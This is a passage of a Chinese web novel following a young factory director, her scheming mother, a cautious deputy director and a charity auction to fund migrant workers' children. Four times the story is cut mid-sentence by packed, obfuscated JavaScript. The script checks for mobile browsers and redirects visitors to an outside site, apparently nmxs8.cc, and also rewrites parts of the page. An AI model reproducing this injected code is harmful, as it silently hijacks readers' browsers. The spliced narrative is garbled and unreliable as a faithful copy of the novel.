商会会长是个聪明人,换届在即,他想连任,因此有意交好罗厂长。 他稍微探了探罗厂长的口风,发现罗厂长对林招娣返乡一事并不拒绝,心里就有了主意。 聪明人,想事要想在别人前面,这样讨好人才不露痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15434010|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹。 聪明人,会梳理清楚一个地方的人情脉络关系,并绕着弯达成目标。 于是,商会会长拍板,邀请林招娣回来讲课。他亲自将经费申请递到张东尧手里,因为他知道,张东尧又是罗厂长的老朋友,只要递给张东尧,罗厂长必然会知道这件事。 过了一阵子,经费申请顺利地批下来。 罗厂长没反对。 商会会长就清楚,自己又一次办对事了。 他今年的连任选举,稳了。 …… 林招娣重回罗桑县,场面非同一般。 罗桑厂厂长专车把罗厂长送到会场,旋即进入休息室休息。五分钟后,一辆大红色保时捷缓缓停在会场门口,林招娣气宇轩扬地下了车,胸口带着巴掌大的翠绿玉牌,从肩膀上挎着的包,到身上的裙子,再到脚上的鞋,全是密密麻麻的logo,又大,又花,生怕别人看不见。 确实,所有人都看见了。 罗桑县人没见过这样的排场,所有人都很震惊。 林招娣真是发了大财了!互联网这么赚钱! 于是,林招娣分享经验,全场鸦雀无声,所有工厂主都在认真听。 分享四十分钟。 结束后,有人小声议论:“你听懂了吗?” 那人摇头:“什么直通车,什么展示页,没听懂。但林招娣吹牛逼我听懂了。” “她吹了三十五分钟牛逼,含含糊糊地讲了五分钟生意。” “我问过我女儿,她没买过淘宝,说替我试试。” “林招娣不是说了吗,淘宝起步很难,但她已经做起来了,可以带我们致富,让我们推专供款给她,这些款不可以供给别家,也不可以走线下,只能给她,她卖出去的钱,跟我们三七开,她七我们三。” “带我们致富个屁,难怪她不肯讲生意经,感情她这是回来压榨我们了!” “但你看她保时捷都买了,你看她那身衣服……看来是真发财。她要是能赚大钱,她吃肉,我们跟在后面喝肉汤,也很不错啊!” 第235章 林招娣的生意经&沈副厂长第二次告状 罗璇和林招娣再见面,是在商会的休息室里。 两人一见面,罗璇失声道:“妈,谁让你这么穿衣服的?!” 林招娣雄赳赳气昂昂地说:“你妈爱怎么穿怎么穿,不用你指手画脚,你懂个屁。” 罗璇说:“像一条马赛克。” 林招娣冷笑:“你懂个屁!” 罗璇不想跟亲妈吵架:“行行,你喜欢就好。我知道这衣服挺贵的。” 林招娣再次轻蔑一笑。 “外面的人是**也就算了,怎么你也这么蠢。”她恨铁不成钢地看着罗璇,坐在椅子上,像一座巍峨的山,“这些,都是假的。”她把脖子上翠绿的玉牌扯下来,随手丢在一边,“保时捷也是租的。” 罗璇非常意外,但又觉得理所当然。 这太林招娣了。 而且,罗璇当然理解人靠衣装马靠鞍的道理,但她从来没办法做得这么极致。 “什么好看不好看,我这辈子,从不在乎这些虚的!”林招娣掷地有声,“我只要能把这些人骗过来给我供专货,我稳赚不赔!” “妈,您厉害。” “多亏你舅舅埋得地方好。”林招娣洋洋自得。 …… “听说林厂长把她弟弟埋在那边的山头,说是风水宝地,旺她运势。” “那她弟媳妇怎么办?就不给合葬了?” “林招娣说,坟钱是她出的,弟媳**想埋,自己掏钱买去。她又清清楚楚地给弟媳妇算账,说林国栋生前从她的厂子里挖了多少钱,说赞助侄子出国留学多少钱,说林国栋捅了她花了多少医药费,威胁弟媳妇,以后她要是敢在那买坟,用了她的好风水,她就要侄子还钱,风水钱。” “心真狠呐!!!人**还得撇下老婆孩子,去旺她的运势!” “做大事的人呐。但你说,她家倒是因她受益……” “说起来,老韩,你那女儿也是干大事的人,都三十六了,给你厂子干了二十年,你也别拖着,把厂子给她接手吧。” “厂子?厂子是她弟的……”老韩说出来,语气也软了。 “听我一句劝,你那儿子三十五还好**,没指望啦!你看看林厂长,这才是叫枭雄,林厂长也是女的,黄蜂尾后针,最毒妇人心啊。为了你以后,你也得把厂子给你女儿!” “可儿子毕竟是儿子,传宗接代……” “传宗接代还不容易?你给你女儿招个赘,然后告诉你女儿,像林招娣那样,以后你儿子**,也埋到旺老韩家香火的地方去,这样,你们老韩家不就代代兴旺了吗?你儿子也完成任务了!” 老韩想来想去,又仔细地看林招娣。 “林招娣真厉害,但我家韩招娣不比她差。” 看了很久,他咬牙,下定决心。 “好,我这两天就跟招娣说,让她准备接手厂子!” 顿了顿,他又发了狠:“我也去买块坟,以后埋我那不成器的儿子!传宗接代,我们老韩家的香火,他必须出一份力!活着没法发扬门楣,**就旺我家招娣吧!这是他作为男丁的责任!” …… 等罗桑县的羽绒服陆陆续续开始发货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15434011|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,江明映回到中国,直奔罗桑县而去。 路上,他给Nate打电话:“你的‘病’,要养到什么时候去?” Nate坦诚:“我得病久些,否则,那些外贸公司的人饶不了我。” 江明映冷笑警告:“你自己掌握分寸,我的耐心是有限度的。” 挂了电话,车子刚进入罗桑县的地界,手机就响起来,竟然是沈副厂长。 沈副厂长消息真够灵通。 沈副厂长开口第一句话就是:“江总,您回来了?” 江明映眉头微蹙。 他从后视镜里看着渐渐远去的罗桑县标志,对错综复杂的地方关系有了深一层理解。 江明映和他寒暄了几句,沈副厂长适时约了个拜访。 沈副厂长拜访得很勤,每周都要去各路人马办公室坐坐。也不会太久,稍坐十五分钟,哪怕气氛尴尬,也会带着笑聊天。 江明映腹诽,罗桑厂生产工作紧张,不知沈副厂长如此外向,还能余下多少时间抓生产。 回到办公室,江明映从办公桌后拉出粘在板子上世界地图。 板上钉钉,代表资金的黄旗越来越少。 他看着烦,把世界地图又推了回去。 门被有规律地轻敲三下。 江明映回头看过去,沈副厂长已经含着笑站在虚掩的门口:“江总!” 他走进来,坐在待客沙发上,单刀直入:“江总,这次来,是想和您汇报一下罗厂长在资金方面的小动作。” 江明映立刻停下了手中事,眉眼犀利:“什么小动作?” 第236章 貌合神离的两口子&被沈副厂长卡得死去活来 沈副厂长拿出本子,面色严肃地把罗璇打算用羽绒服定金给工人们分红的事讲了: “擅用**,收买人心,用公家的钱,造自己的势!” 他痛心疾首地说:“当着赵**的面,罗厂长七缠八绕的,把未来的钱全算上,但未来的钱,不一定真能到手,并不保靠!要是钱没拿到呢?罗桑厂接下来备料周转的钱都没有!这样子风险太大了!我不能眼睁睁看着她犯错误啊!” 他谨慎地看了眼门外,压低声音,推心置腹地和江明映说:“我照实说了吧。赵**当然支持罗厂长,毕竟赵**要的是政绩,只要罗璇说有厂子钱够,还能帮县里解决供应商**的问题,赵**巴不得她把所有事都揽下来!赵**才不会考虑罗桑厂实际运营的风险和难处!罗厂长还是太年轻,满腔热血,参不透政商关系的道理。” 听着沈副厂长告状,江明映的目光落在办公桌后的世界地图上。 金融危机愈演愈烈,欧洲的抽贷风波已经蔓延到美国。银行家们小心翼翼地从江明映口中试探宗先生的底细,试探所谓的健康负债是否真的健康。 金融危机!多米诺骨牌一旦坍塌一张,就会引发海啸一般后果。 江明映心中担心,但面上永远挂着职业性的、英俊又聪明的微笑。 “宗先生的大本营在中国,这次金融危机没有对中国造成太大影响。”他每天把这句话重复一万遍,“您完全可以信任我们,我们的负债非常健康。” 俄乌战争引发的能源危机,导致欧洲服装供应青黄不接,江明映在美国举着酒杯,讲笑话似的说起在遥远中国一个偏僻县城“小打小闹”的服装基地,神情轻松,好似买了个新玩具。 刚说完,社交场里的一个太太惊呼:“你说的原来是Burberry的羽绒服吗,我刚给我的三个孩子买,原来也是宗先生的产业。” 顶着银行家们半信半疑的目光,江明映总算过了关。 宗先生亲自见他:“你做得很好。千万不能露出任何破绽,我们的股价禁不住再跌。” 江明映微笑着应了,又私下提醒宗先生的助理,资金一旦周转回来,记得立刻给这位太太的丈夫结算回款。 江明映清楚,宗先生的资金紧绷得厉害,不可能继续往中国投入现金。那么,罗桑县所有的贷款,需要他和罗璇自行撑住,一旦海外抽贷的风声传回中国,中国贷款停发,他这边也将面临危机。 沈副厂长还在噼里啪啦地说,终于说完了:“……所以,罗厂长的所作所为,非常自私,就是为自己造势!” 于是,江明映只抓一个重点:“造势?” 沈副厂长肯定地点头:“对,造势。罗厂长毕竟年纪小,刚当上厂长,心里急,又想收买人心又想为自己造势,这些我都很理解,但风险必须控制在合理范畴内,不能被那些老官僚一忽悠,就拖着整个罗桑厂冲上去,那么多工人的生计,怎么可以用作自己垫脚石……” 江明映又重复:“造势。” 还没等沈副厂长说话,江明映反问:“罗桑厂为什么不能造势?” 沈副厂长愕然:“江总,罗桑厂只是一家代工厂,刚开始摸索着出口转内销,国内市场还不成熟。现在在国内造势,时机根本没有成熟,短时间内,看不到任何实际效益。” 江明映挥了挥手,打断沈副厂长的话。 “分红是好事。要大张旗鼓地分红。”他斩钉截铁,“她想造势,就让她造势。” …… 造势? 沈副厂长难以置信地看着江明映。 有多少钱,禁得住这么挥霍? 江明映随便找了个理由:“此前的打击对罗桑厂而言太过沉重,需要振奋士气。士气上来了,产能也会提高。” 沈副厂长不赞同地看着江明映:“江总,您这个想法是错误的。钱可以拿来做事,拿来生钱,拿来促进罗桑厂生产,都挺好的,但钱拿来给人花,这不是浪费吗?钱拿来改善生活,这不是享乐主义吗?我们罗桑厂还没怎么奋斗,就已经开始躺平享受!不吃苦,怎么能把事情做好?” 江明映没接受过这套吃苦教育,也不打算接受。因此他只是露出职业微笑。 沈副厂长见说不通,也就不再说。 临走的时候,江明映对沈副厂长说:“你做得很好,继续帮我盯着罗璇。” 沈副厂长很平静地纠正:“我不是盯着罗厂长,我对罗厂长这个人没有任何意见。我是在监督罗厂长。集体决策必须高于一言堂,权力必须被关进铁笼子!” 这没什么区别。 江明映满意地点头。 走出江明映的办公室,沈副厂长叹了口气,忽地摇了摇头: “这两口子,互相算计,这婚结得有什么意思。” …… “你们这婚,结得可太有意思了。”Nate笑着说。 他穿着松松垮垮的病号服,面前竖着好几台电脑,除了报告,就是K线图。 为了退出价格谈判这摊浑水,他生了“病”,又担心被报复,所以始终住在安保严密的私家医院里。 罗璇笑着讲英文:“今天来拜访,只是想和您认识一下。” 罗桑厂**明映空手套白狼地骗去大半控制权,这次罗桑厂有了盈利,眼看着要分红,而罗璇根本不想分给江明映,不想让罗桑厂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15434012|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成他的血包,白白给自己培养竞争对手。 既然江明映和Nate明争暗斗,那么自己先认识一下Nate,有备无患。 以后,如果江明映手段太狠,她就立刻把他出卖给Nate。 罗璇在Nate的病房里小坐十五分钟,两人相谈甚欢。 等回到罗桑厂,她却差点和沈副厂长再次吵起来。 罗璇坚持要分红,沈副厂长终于不再反对。罗璇要在厂里办分红仪式,产生两万块的物料成本,却被沈副厂长打了回来。 “我不可能允许你这么用钱。”沈副厂长义愤填膺,“你这是铺张浪费!你犯错误,你大错特错!” 罗璇根本不想浪费时间和他纠缠,于是说:“我自己掏也行。” “也不行!”沈副厂长更生气了,“这是钱的事吗?你想没想过,你要做这件事,我们罗桑厂的账目怎么算,你怎么和县里的审计解释?罗桑厂是支撑罗桑县的厂,不是你罗厂长一个人的!” 顿了顿,沈副厂长语带警告:“罗厂长,你现在是罗桑厂的厂长,更是罗桑县支柱产业的领头羊!你的一举一动,都要摊在阳光下,能禁得住监督!” 罗璇觉得和他说不清楚:“我们就一个工厂,你别拿那些上头的繁文缛节出来捆着我。事事照你这么办,还哪有灵活的余地去赚钱啊?” “我是为你好,人言可畏,容不得你灵活啊——” “危言耸听,什么审计,县里什么审计——” “按上面的规划,罗桑厂迟早要搬迁、合并、划转、上市的,到时候用的是地方上市名额,你得把这些问题想在前头——” “你女儿刚生下来,你就已经开始规划你孙女怎么读清华——” “你还是太年轻,我说什么你都听不进去,你以为我没有锐意进取的日子吗?你根本不懂人心险恶!人都是很坏的,你得先自保、再做事!日后,若是你像我一样,被贬到下面,熬日子,等退休,你才懂!” “你把锐意进取奉献给谁了,难道是给我们了吗?如果你遭遇不公,那不是我们的错,也不是你的错,是别人的错,是评价体系的错,是社会的错!你少拿别人的错误来惩罚自己,也不要用别人的错误惩罚我们罗桑厂!” “你遇到事情都指责别人,从不反思自己——” “**三起三落,难道是他自己的错?他要是那么会反思,后面就没得改革开放——” 沈副厂长的眼睛睁得很大,好半天说不出话。 最后,他愤怒地挤出一句:“跟你说不清楚!” 罗璇也愤怒地说:“我跟你也说不清楚!” 沈副厂长拂袖而去。 第237章 大不大?大,真大!&我把你送的车卖了吧! 罗璇很痛苦地找到关系王:“你和沈副厂长同龄人,你帮帮我,这人要怎么搞。” 关系王炸开:“你才跟他同龄,我比他小二十岁,风华正茂,钻石王老五。” 关系王再次**换炮,在罗桑县中学门口开了个小店,专卖教辅书,摆了一排塑料椅,免费供应茶水,让家长等孩子放学待着,不买也行。 这么个书店,做得火热异常,人来人往,挤得不得了。 罗璇问:“那你靠什么赚钱?” 关系王神秘地向她展示书店后门。 两人从后门进入,一推书架,旋转而开,里面别有洞天,原来是隔了个小里间,租漫画书,做会员制,未满十八周岁不得入内。 教辅书做家长生意,小里间做工人生意。 罗璇啧啧称奇。 她进了里间,坐在漫画前抱怨:“沈副厂长那个老男人——” 说着,随手抽出一本。 扫了几眼。 旋即睁大双眼,小脸一黄。 关系王老神在在:“你就说,这哥们,大不大。” 罗璇的眼珠子都快掉到这本少女漫画书上:“好男人,大,真大。” 她手痒痒,心黄黄,翻了好半天,又贪婪地多拿了几本揣进包里。 “你办张卡。” “你我这关系,你居然收我钱?” “这罗桑县就没我吃不透的关系——给钱!” “我不给,你给我免单。” “我让人找你去扫黄。” 罗璇乖乖充值,收到一张黄色会员卡。 “我卖教辅书这些日子,学生家长都在我这里等孩子放学,我听到不少消息。”关系王边整理书边说,“沈副厂长其实也没想当罗桑厂厂长,他是被贬下来,熬退休的。” “他背后不是有人吗?不是说关系特别硬?” “背后有人才捞了他一把,关系就是特别硬,不然他这会已经进去踩缝纫机了。” “呵,**犯啊。” 关系王沉默了一会。 “他此前搞地方经济,上面有人,做事情比较灵活,很出成绩。后来,他上面的人调任,他就被查出资金纰漏了。” “什么意思。” “意思是,一朝天子一朝臣,作为前朝太子,有人看上了他的位置,想让他腾位置。没人禁得住查,他禁不住,你……呵,你更禁不住。” “我怎么禁不住,我到现在还一分钱没拿。” “那我问你,你上周请老戴吃饭,为什么选在A餐馆不选在隔壁的B餐馆,明明隔壁的B餐馆价格便宜10%。” “……我随便选的啊!我爱吃啊!” “好,你提供不出任何佐证材料,那我继续问,是不是因为你和A餐馆有利益输送?A餐馆老板的亲弟弟和老戴堂哥是同学,你还说没有利益输送?” 罗璇傻眼了:“你这是什么问法?” “我这是**的问法。” 罗璇可不敢说不好。 关系王轻轻说:“很多事情啊,不是看你有没有错,是看想不想让你错。当然我说这话也不是为了让你同情沈副厂长,而是让你了解他,从而更好地和他相处。” 关系王继续说:“沈副厂长来到罗桑厂,居然连个小小的厂长都没当上,已经是贬无可贬,一撸到底。所以,你别想着他会走,他注定跟你搭班子。他经历过这些,想法不可能改变的,就只有你来改变了。” “不是,他经历的那些,干我什么事,不是我害的,凭什么让我买单啊?” “因为你是罗桑厂厂长。要么你忍受他,直到他背后的靠山退休;要么你笼络他,想办法让他跟着你的步调走。你没别的选择。” “我拿什么笼络,除非我把我的位子让给他,我才不让。” “他这样的人,是君子,说复杂也复杂,说天真也天真:他受了天大的委屈,就是要证明自己,你就让他证明。最怕人无欲无求。人只要想证明自己,就有软肋,你就能拿得住,就不麻烦。” “听不懂,说人话。”罗璇心烦,“你们这些聪明人弯弯绕忒多,我就问你,他卡着我两万块钱,我怎么办。” 关系王气得唾了她一口:“头从到尾都是个憨货!” 罗璇理直气壮:“你聪明,世界就是被你们聪明人搅得自讨苦吃!” “你去找赵会计,问问他,是不是得立个名目,才能把两万块钱合理地支出来。”关系王说,“沈副厂长卡的不是你,而是支出。只要你这笔钱属于支出,就必须合情合理。” “巧立名目,沈副厂长肯定还得卡我。但是,如果我把分红仪式做成收入,是不是就没问题了?” “……啊?”关系王诧异,“你能做成收入?” …… 罗璇准备离开,关系王非得送她出门。 感受到朋友的支持,罗璇心里有点温暖,嘴上客气了几句:“怎么好意思。” 关系王腆着脸说:“把你车借我开开,作为报答。” 罗璇气得把钥匙甩在关系王圆**嫩的脸上。 关系王喜滋滋地开着车轰隆隆离开,罗璇注视着车屁股出神。 车是好车,但不适合她当下“带着大家从谷底爬出”的现实情况,她早就想把江明映送给自己那辆张扬、碍眼又麻烦的豪车换成钱了。 江明映又出差。 罗璇收到他发来的航班和地址报备,估算了时间,把电话打到他手机上。 江明映接得很快:“什么事。” 罗璇也不掩饰,直接说:“我想卖掉你送我的车。” “不行。”江明映想都没想地拒绝。 “我不需要车——” “你必须需要。你必须喜欢。这是我送你的新婚礼物。” “是打着‘新婚礼物’名头的广告。”罗璇说。 “是。”江明映干脆地应下,“如果连车都卖了,各方面肯定都觉得我没钱了,情况就会变得很麻烦。” 罗璇说:“我明白。我的几笔贷款还是你帮忙,如果你有麻烦,我更有**烦。我不至于在这件事上背后捅你一刀。” 别的事嘛,不好说。 两人心知肚明,齐齐安静了一秒钟,又齐齐笑一声。 江明映的声音温和了些:“那你说要卖车,是为了做什么?” 罗璇说:“我想联合慈善机构,现场将你送我的车拍卖,充作善款。” 江明映想了想:“挺好的主意,搞慈善可以抵税,真金白银都是钱。” 罗璇说:“我们的羽绒服有进项,赵**那边想寻个由头,搞一场活动,把记者请过来好好报道一番罗桑县的成就。我就想着,由我们罗桑厂牵头。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15440044|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>沈副厂长告过状,江明映知道这件事:“光做不说,等于没做,所以,这活动不但要办,还得大办特办。而且,县里用钱比较谨慎,这笔钱很难批下来,你来掏这笔钱更合适。” 只不过,涉及资金,有心之人完全可以解读为: 赵**和她之间形成了“政商勾结”。 关系王仔仔细细地给她分析过,大帽子一盖,究竟是政府跟踪监管企业,还是政府给企业做“保护伞”,个中区别,细微复杂。这也是沈副厂长觉得有风险的地方。 沈副厂长不方便明说,估计是生怕赵**哪天会翻脸害她,所以坚决反对。 罗璇思及此,没再给沈副厂长上眼药,而是说:“所以我想着,藉慈善的由头,搞个拍卖仪式,这样收益能兜得住支出。此外,还有很多好处:一是有个豪车作噱头,是免费的广告,更容易宣传我们罗桑县的成就;二是可以真金白银地抵税,省下来的钱足够我买几辆豪车了;三是可以做个小小的分红仪式,让大家开心开心。四嘛,就是真的能帮助一些人。如果能对社会有一点点改变,那可就太好了。” 最后一点,她说得比较小声。 江明映理所当然道:“我明白了,你想给自己积攒一些地方**资本。” 是吗? 精英主义教育下长大的江明映,不太可能理解**主义教育下长大的罗璇。他和她的思维方式有着本质区别。 但是,君子论迹不论心,君子和而不同。 以我为主,为我所用,管它黑猫白猫,抓住耗子就是好猫! 江明映在电话对面咳了一声:“猫?” “你是黑猫白猫……” “得。”江明映似笑非笑,“我这里大半夜不睡觉,辛辛苦苦跟你聊半宿,最后把自己聊成一只猫。” 罗璇使出中国传统艺能,打了一番太极,敷衍了江明映几句,最后说:“我就当你同意卖车了。” “你能把一辆车的广告效益扩散到全国去,我当然答应。”江明映肯定,旋即提醒她,“我不是在挑刺,但涉及大规模宣发,你最好找公关团队帮你处理。” “罗桑厂有长约公关团队。对方很看好我们,所以开的条件厚道,账期也长。”罗璇说。 “算他们有眼光。哪个团队?” “祝胜男。” 江明映在电话对面安静了好半天:“我好像知道这个女人。她是……”他顿了顿,风淡云轻,“她是互联网供应商祝峻的亲妈吧?” “是啊。” 江明映又安静了好半天。 “所以你的活动什么时候做。” “难道你要来?” 江明映立刻反问:“你下个月贷款是谁帮你办下来的?这种级别的社交活动,你不请银行的人?你不请我,难道银行的人会来?注意你维护人脉的逻辑。” “还是你做事周到。”罗璇觉得非常有道理,“我还没习惯和银行打交道。” “定日子通知我。” “好嘞!没问题!” 江明映冷笑一声,挂断电话。 …… 慈善活动的日子定下来,上午大办特办搞拍卖,下午关起门来内部分红。 流程正确,资金清晰,沈副厂长皱着眉左看右看才签了字。 签完,他很痛心地唉声叹气。 第238章 庆功仪式&随迁子女 拍卖当天,现场效果和罗桑县人预料的一样好。 祝峻大手一挥,高调拍下豪车,连宣传费都省了,借着罗桑县请来的所有媒体记者,把罗桑县“互联网+”探索送上风口。 只要提到罗桑县“互联网+”,就绕不开他祝峻。 茶歇时间,祝峻客客气气地和记者寒暄,说了几句话以后,从怀里掏出小小卡片,弯下腰,给每位记者塞了一个:“车马费,不成敬意。” 意思是让记者替他美言。 活动又开始。 看着祝峻的背影,年轻记者感叹:“……那辆车比我命都贵!” 老记者“哼”了声。 年轻记者说:“心系慈善,他人还怪好嘞。” “他?好人?他的收益可比罗桑县大多了。”老记者指挥摄像把镜头对准祝峻,“根据国家政策要求,各地都要开始摸索‘互联网+’,所以大家肯定都会搜索这条新闻背后的支持商,他算是坐上风口又添了把火。一辆车钱出去,至少十辆车钱回来。” “做了记者,真是对企业家祛魅。这些人,个顶个的精刮。”年轻记者叹气。 “论迹不论心。”老记者心不在焉地说,“只要真的能帮到人,其他的,你不要想那么多。” 年轻记者没再说话。 …… 罗璇走上台。 “女厂长啊。”小记者注视着台上。 罗璇拿着话筒,端正地开口:“我来公布活动筹款的用途。” “一部分用来资助本地留守儿童,籍贯不限;另一部分用来资助罗桑县籍贯的城市农民工随迁子女。” 下面立刻有记者问:“留守儿童我们了解,但什么是随迁子女?” 罗璇解释:“随迁子女,指的是进城务工人员的子女,他们原本在农村生活,当爸妈进城打工,变成农民工,这些孩子就被接到城市生活、学习。简单来说,就是农民工的孩子。” 有人质疑:“既然这些孩子已经进城,不在罗桑县生活,为什么还要为他们专门拨款?毕竟,善款的一半只提供给罗桑县户籍的农民工,做慈善限定户籍,这是否合适?” 场面僵了僵。 赵**轻轻咳了一声,罗璇把话筒递给他。 赵**说:“因为孩子就是罗桑县的未来。大家都知道,让儿童与父母分开,与祖辈留守在农村,并非最好的教育方式。中国有数量庞大的农村,就有数量庞大的农民工和留守儿童,长此以往,会影响到国家的未来。因此,在我们看来,解决本地留守儿童教育问题的一个办法,就是为农民工随迁子女提供力所能及的支持。中国政府致力于解决这个问题,罗桑县跟随国家脚步。” 赵**显然是个护犊子的,他高屋建瓴地讲完政策依据和国家发展方向,现场没有质疑了,一片安静。 赵**把话筒递回给罗璇,示意她讲下去。 罗璇说:“农民工建设了繁华城市,却不知道怎样让自己的孩子享受这座城市的教育资源,只能把孩子留在老家,造成一批又一批的留守儿童。” “因此,我们希望,为随迁子女在城市学习与生活提供专业人士的必要援助。” 小记者在下面感慨:“唉,确实呀,我租的房子,隔壁就是随迁子女学校,我见到很多农民工家长在校门口打转,一头雾水,他们不知道办入学应该找哪些政府单位。” “那可难喽。”老记者说,“得证明自己在当地有稳定的工作、稳定的住所、稳定的收入,还得缴纳各种保险,还得成为常住人口,还得……嗨!我本科毕业,迁户口都办得头晕眼花,更何况他们。” 两人看向台上的罗璇。 老记者突然回过神来:“你别玩手机,你这死孩子!” 年轻记者讪笑:“哎呀,看罗厂长身上的裙子太好看了,我这手啊就不听使唤地打开了淘宝……拐进了她妈开的红星网店……下了单……唉。你说我这手,怎么自作主张呢!” 老记者“呸”了声。 罗璇站在灯光下,继续说。 “……关于资金用途。” “……比如,随迁子女入学难,入学需要根据地方政策办理很多证件,需要大量从城市往返老家的车费,那么农民工就可以申请志愿者帮忙,咨询政策解读,并申请车马费……” “……比如,随迁子女融入城市生活,会遇到各种各样的问题,需要提供心理咨询甚至法律援助……” “……比如,农民工进城打工之前,可以用这笔资金,组织大家重视政策、学习政策、解读政策、了解政策。” “很多时候,农民工不去寻求帮助,仅仅因为他彻头彻尾的茫然,不知道有什么,更不知道自己‘不知道什么’。因此,面向农民工的培训,并非作深度解读,而是编成小故事、顺口溜,田间地头,把知识掰开了揉碎了塞进他的脑子,比如——” “农民工张三和李四都喜欢寡妇王小凤,王小凤担心自己的随迁女儿,于是张三和李四为了讨寡妇欢心,想办法帮她的孩子办学籍,那么都需要哪些手续呢……” 现场哄笑起来。 小记者笑得眼泪都冒出来了。 讲完,罗璇挥舞拳头,咬牙切齿:“我们的目标是——你!只需要!模糊地知道!有这么回事!遇到问题的时候!就!回来找我!不用你懂!” 现场响起一片善意的笑声,又渐渐响起掌声。 掌声一个传一个,连绵成势,最终汇聚作一处,如罗桑河水翻滚,如骤 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“他,我记得他。”小记者轻声说,“当残疾工人和退休老工人躺在地下,喊着和厂子一起死的时候,这个小伙子从他们之中穿过,未曾向地下的人看哪怕一眼。他似乎不关心普通人,也不怜悯老人和残疾工人。” 老记者注视着张东尧。 沉默了很久,他说:“但他依旧在这里。他依旧守着这个县,为工人做事,为农民发声。” “师傅,您是想说,论迹不论心吗?” “我想说,人是有很多面的……人也都是会变的。”老记者说,“一线工作难做,我们不是他,我们要少一些苛责,多一些宽容。” 台下,有人质疑张东尧:“张博士,你是博士,天然是社会精英,您的履历太过耀眼,可以很容易地去社会上找一份高薪的工作。那么,您会长久地留在罗桑县,来负责推动这件事吗?您有过基层一线的工作经验吗?您知道农民工随迁子女工作具体该如何开展吗?我们应该如**任你,能善始善终地把这笔钱用到位、把这份不赚钱的工作尽职尽责做好呢?” “张博士,我们并非对您有意见,我们只是必须履行公众监督职责。” 张东尧坦然道:“我不会半途而废,也没人比我更合适这个项目。这个项目,是我自己主动争取的,佐证材料有相应几次会议的发言纪要,以及内部竞聘的公示。程序与流程合规透明,欢迎公众监督。” “您争取这个机会,是为了给您的履历贴金,从而走仕途吗?”提问的是南方系的记者,异常犀利,“您有私心吗?” 张东尧静默了几秒钟。 “有。”他说。 现场哗然。 “您的私心是什么?”记者追问。 “因为我自己就是农民工随迁子女。”张东尧平静地说。